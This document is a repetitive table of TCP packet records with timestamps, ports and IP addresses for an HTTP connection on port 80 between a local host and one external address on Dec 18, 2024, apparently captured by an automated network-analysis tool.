Dec 18, 2024 20:56:36.268862963 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.269737005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.269855022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.269905090 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.270783901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.270940065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.271003008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.271869898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.271972895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.272063971 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.272838116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.272943020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.273194075 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.273912907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.273999929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.274045944 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.274882078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.274936914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.274980068 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.275764942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.275846958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.275969028 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.276720047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.276802063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.276842117 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.277733088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.277842999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.277935028 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.278673887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.278750896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.278928041 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.279808998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.279921055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.280003071 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.280946016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.281028032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.281241894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.281876087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.281974077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.282354116 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.282830954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.282998085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.283061981 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.284173965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.284260988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.285031080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.285103083 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.285162926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.285207033 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.286118984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.286246061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.286305904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.287231922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.287405014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.287441969 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.288404942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.288558960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.288640976 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.289458990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.289572954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.289979935 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.290551901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.290661097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.290704012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.291697979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.291838884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.291883945 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.292519093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.292598963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.292870998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.293220997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.293382883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.293461084 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.294256926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.294384003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.294433117 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.295391083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.295456886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.295802116 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.430309057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.430392027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.430618048 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.430730104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.430861950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.430902004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.431866884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.431973934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.432279110 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.432954073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.433068991 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.433281898 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.434053898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.434207916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.434297085 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.435125113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.435272932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.435828924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.436276913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.436420918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.436470032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.437377930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.437493086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.437535048 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.438500881 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.438636065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.438807964 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.439574003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.439697027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.439734936 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.440670013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.440787077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.440833092 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.441839933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.441951036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.442035913 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.442924976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.443034887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.443085909 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.444087982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.444179058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.444411993 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.445190907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.445271969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.445317030 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.446249962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.446352005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.446394920 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.447418928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.447513103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.447568893 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.448496103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.448618889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.448664904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.449574947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.449704885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.450017929 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.450685024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.450778008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.451081038 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.451926947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.451941013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.451992989 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.452903032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.453036070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.453080893 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.454040051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.454180956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.454224110 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.455142021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.455404997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.455449104 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.456235886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.456461906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.456511021 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.457490921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.457668066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.458156109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.458535910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.458643913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.458678007 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.459551096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.459660053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.459728956 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.460661888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.460860968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.460902929 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.461771011 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.461829901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.461996078 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.462950945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.463083029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.463301897 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.463999987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.464179039 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.464225054 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.465075016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.465284109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.465333939 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.466236115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.466495991 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.466655016 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.467297077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.467422009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.467466116 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.468554020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.468645096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.468686104 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.469511032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.469611883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.469657898 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.470647097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.470829010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.470874071 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.472059011 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.472138882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.472373962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.472834110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.472966909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.473058939 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.473943949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.474186897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.474343061 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.475061893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.475172043 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.475244999 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.476203918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.476315022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.476355076 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.477297068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.477412939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.477482080 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.478411913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.478532076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.478602886 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.479511976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.479619980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.479659081 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.480648041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.480782032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.480819941 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.481779099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.481941938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.482095957 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.482805967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.482949018 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.483035088 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.483930111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.484143019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.484272957 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.484680891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.484795094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.484850883 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.485882044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.486004114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.486059904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.486907005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.487015009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.487066984 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.488033056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.540585995 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.638622999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.638643026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.638710976 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.638823986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.638902903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.638952017 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.639889956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.640008926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.640058041 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.641208887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.641464949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.641587019 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.642183065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.642333984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.642384052 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.643457890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.643558025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.643666983 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.644575119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.644679070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.644753933 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.645569086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.645648003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.645797014 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.646693945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.646743059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.646857977 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.647835016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.647964954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.648261070 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.648986101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.649066925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.649106979 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.649966002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.650095940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.650160074 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.651149035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.651295900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.651361942 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.652226925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.652282000 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.652345896 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.653338909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.653444052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.653517008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.654369116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.654464960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.654551029 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.655687094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.655790091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.655869961 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.656542063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.656696081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.656744957 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.657741070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.657886028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.657931089 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.658795118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.658898115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.658937931 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.659847975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.660026073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.660176992 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.661130905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.661211014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.661277056 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.662112951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.662256956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.662503958 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.663356066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.663446903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.663515091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.664479971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.664556980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.664709091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.665437937 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.665575027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.665693045 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.666528940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.666711092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.666757107 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.667618036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.667872906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.667920113 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.668740988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.668865919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.668917894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.669851065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.669955969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.670144081 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.670932055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.671061993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.671236992 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.672089100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.672189951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.672230959 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.673154116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.673265934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.673484087 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.674428940 CET	80	49747	185.185.71.170	192.168.2.3
